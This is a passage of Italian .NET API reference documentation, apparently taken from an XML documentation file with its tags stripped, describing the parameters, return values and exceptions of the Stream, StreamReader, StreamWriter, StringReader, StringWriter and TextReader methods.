se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso e sposta in avanti la posizione corrente all'interno del flusso di un byte o restituisce -1 se si trova alla fine del flusso. + Cast di byte senza segno in un parametro Int32 oppure -1 se si trova alla fine del flusso. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la posizione all'interno del flusso corrente. + Nuova posizione all'interno del flusso corrente. + Offset dei byte rispetto al parametro . + Valore di tipo che indica il punto di riferimento usato per ottenere la nuova posizione. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la lunghezza del flusso corrente. + Lunghezza desiderata del flusso corrente in byte. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura e la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, scrive una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti. + Matrice di byte.Questo metodo copia i byte da nel flusso corrente. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero di byte da scrivere nel flusso corrente. + La somma di  e  è maggiore della lunghezza del buffer. + + è null. + + o  è negativo. + Si è verificato un errore dei / o, ad esempio possibile trovare il file specificato. + Il flusso non supporta la scrittura. + + è stato chiamato dopo la chiusura del flusso. + 1 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte scritti. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente del flusso e sposta in avanti di un byte la posizione del flusso. + Byte da scrivere nel flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura o è già chiuso. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Implementa un oggetto che legge i caratteri da un flusso di byte in una particolare codifica.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato. + Flusso da leggere. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con l'opzione specificata per il rilevamento dei byte order mark. + Flusso da leggere. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri specificata. + Flusso da leggere. + Codifica dei caratteri da usare. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri e l'opzione per il rilevamento dei byte order mark specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri, l'opzione per il rilevamento dei byte order mark e le dimensioni del buffer specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + Dimensione minima del buffer. + Il flusso non supporta la lettura. + + o è null. + + è minore o uguale a zero. + + + Inizializza una nuova istanza della classe per il flusso specificato in base alla codifica caratteri, all'opzione per il rilevamento dei byte order mark e alle dimensioni del buffer specificati. Facoltativamente mantiene aperto il flusso. + Flusso da leggere. + Codifica dei caratteri da usare. + true per cercare i byte order mark all'inizio del file; in caso contrario, false. + Dimensione minima del buffer. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + + Restituisce il flusso sottostante. + Flusso sottostante. + 2 + + + Ottiene la codifica caratteri corrente usata dall'oggetto corrente. + Codifica caratteri usata dal lettore corrente.Il valore può essere diverso dopo la prima chiamata a un metodo di , in quanto il rilevamento automatico della codifica non è completo fino alla prima chiamata a un metodo . + 2 + + + Cancella il buffer interno. + 2 + + + Chiude il flusso sottostante, rilascia le risorse non gestite usate dall'oggetto e, facoltativamente, rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Ottiene un valore che indica se la posizione corrente del flusso è alla fine del flusso. + true se la posizione corrente del flusso è alla fine del flusso; in caso contrario, false. + Il flusso sottostante è stato eliminato. + 1 + + + Oggetto che include un flusso vuoto. + 1 + + + Restituisce il carattere successivo disponibile senza usarlo. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono presenti caratteri da leggere o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal flusso di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo dal flusso di input rappresentato come oggetto oppure -1 se non sono disponibili altri caratteri. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, iniziando dall'indice specificato. + Numero di caratteri letti oppure 0 se alla fine del flusso non è stato letto alcun dato.Il numero sarà minore o uguale al parametro , a seconda che i dati siano disponibili o meno all'interno del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Indice di da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O, come la chiusura del flusso. + 1 + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal flusso corrente e restituisce i dati come stringa. + Riga successiva del flusso di input oppure null se viene raggiunta la fine del flusso di input. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge una riga di caratteri in modo asincrono dal flusso corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del flusso oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso. + Parte restante del flusso come stringa, dalla posizione corrente alla fine del flusso.Se la posizione corrente è alla fine del flusso, restituisce una stringa vuota (""). + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso in modo asincrono e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e la fine del flusso. + Il numero di caratteri è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto che scrive i caratteri in un flusso con una particolare codifica.Per esaminare il codice sorgente .NET Framework per questo tipo, vedere Origine riferimento. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica UTF-8 e le dimensioni del buffer predefinite. + Flusso in cui scrivere. + + non è modificabile. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + + o è null. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + + o è null. + + è negativo. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. Facoltativamente mantiene aperto il flusso. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + o è null. + + è negativo. + + non è modificabile. + + + Ottiene o imposta un valore che indica se scarica i dati del buffer nel flusso sottostante dopo ogni chiamata a . + true per forzare lo scaricamento del buffer; in caso contrario, false. + 1 + + + Ottiene il flusso sottostante che si interfaccia con un archivio di backup. + Flusso in cui StreamWriter scrive. + 2 + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + + + Ottiene l'oggetto in cui viene scritto l'output. + Oggetto specificato nel costruttore per l'istanza corrente o , se non è stata specificata alcuna codifica. + 2 + + + Cancella tutti i buffer relativi al writer corrente e consente la scrittura dei dati memorizzati nel buffer nel flusso sottostante. + Il writer corrente è chiuso. + Si è verificato un errore di I/O. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Fornisce un oggetto StreamWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive un carattere nel flusso. + Carattere da scrivere nel flusso. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una matrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere.Se è null, non viene scritta alcuna voce. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una sottomatrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una stringa nel flusso. + Stringa da scrivere nel flusso.Se è Null, non viene scritta alcuna voce. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere nel flusso.Se è null, non viene scritta alcuna voce. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono un carattere seguito da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una sottomatrice di caratteri seguiti da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una stringa seguita da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Implementa un oggetto che legge da una stringa. + 2 + + + Inizializza una nuova istanza della classe che legge dalla stringa specificata. + Stringa sulla quale inizializzare . + Il parametro è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Restituisce il carattere successivo disponibile senza utilizzarlo. + Integer che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Il lettore corrente è chiuso. + 2 + + + Legge il carattere successivo dalla stringa di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo della stringa sottostante oppure -1 se non sono disponibili altri caratteri. + Il lettore corrente è chiuso. + 2 + + + Legge un blocco di caratteri dalla stringa di input e fa avanzare la posizione del carattere di . + Numero complessivo di caratteri letti nel buffer.È possibile che sia inferiore al numero di caratteri richiesti se la quantità di caratteri non è correntemente disponibile oppure può corrispondere a zero se è stata raggiunta la fine della stringa sottostante. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Indice iniziale nel buffer. + Numero di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dalla stringa corrente e restituisce i dati come stringa. + Riga successiva della stringa corrente oppure null se viene raggiunta la fine della stringa. + Il lettore corrente è chiuso. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + 2 + + + Legge una riga di caratteri in modo asincrono dalla stringa corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di stringhe oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Contenuto dalla posizione corrente alla fine della stringa sottostante. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità della stringa. + Il numero di caratteri è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto per la scrittura di informazioni in una stringa.Le informazioni vengono archiviate in un oggetto sottostante. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il controllo di formato specificato. + Oggetto che controlla la formattazione. + + + Inizializza una nuova istanza della classe che scrive nell'oggetto specificato. + Oggetto StringBuilder in cui scrivere. + + è null. + + + Inizializza una nuova istanza della classe che scrive nello specificato e dispone del provider di formato specificato. + Oggetto StringBuilder in cui scrivere. + Oggetto che controlla la formattazione. + + è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Recupera l'oggetto in cui viene scritto l'output. + Encoding in cui viene scritto l'output. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di svuotamento asincrona. + + + Restituisce l'oggetto sottostante. + StringBuilder sottostante. + 2 + + + Restituisce una stringa contenente i caratteri scritti finora nell'oggetto StringWriter corrente. + Stringa contenente i caratteri scritti nell'oggetto StringWriter corrente. + 2 + + + Scrive un carattere nella stringa. + Carattere da inserire. + Il writer è chiuso. + 2 + + + Scrive una sottomatrice di caratteri nella stringa. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + Il valore di o è negativo. + ( + )> .Length. + Il writer è chiuso. + 2 + + + Scrive una stringa nella stringa corrente. + Stringa da scrivere. + Il writer è chiuso. + 2 + + + Scrive un carattere nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nella stringa in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nella stringa corrente in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa un carattere seguito in modo asincrono da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nella stringa. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nella stringa una sottomatrice di caratteri seguiti da un terminatore di riga in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa, seguita in modo asincrono da un terminatore di riga, nella stringa attuale. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di stringa viene eliminato. + Il writer di stringa è attualmente utilizzato da un'operazione di scrittura precedente. + + + Rappresenta un visualizzatore in grado di leggere una serie sequenziale di caratteri. + 2 + + + Inizializza una nuova istanza della classe . + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Fornisce un oggetto TextReader senza dati da cui sia possibile eseguire letture. + 1 + + + Legge il carattere successivo senza modificare lo stato del visualizzatore o dell'origine del carattere.Restituisce il successivo carattere disponibile senza leggerlo effettivamente dal lettore. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il lettore non supporta la ricerca. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal lettore di testo e fa avanzare di un carattere la posizione del carattere. + Carattere successivo del lettore di testo oppure -1 se non sono disponibili altri caratteri.L'implementazione predefinita restituisce -1. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che i dati siano disponibili all'interno del lettore o meno.Se viene chiamato quando non sono più disponibili altri caratteri da leggere, questo metodo restituirà zero. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del reader prima che il numero di caratteri specificato venga letto nel buffer, il metodo restituisce un risultato. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, questo parametro contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + -1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 2 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal lettore di testo e restituisce i dati come stringa. + Riga successiva dal lettore oppure null se tutti i caratteri sono stati letti. + Si è verificato un errore di I/O. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + La classe è chiusa. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge una riga di caratteri in modo asincrono e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di testo oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Stringa contenente tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo. + Si è verificato un errore di I/O. + La classe è chiusa. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità del lettore di testo. + Il numero di caratteri è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Rappresenta un writer in grado di scrivere una serie 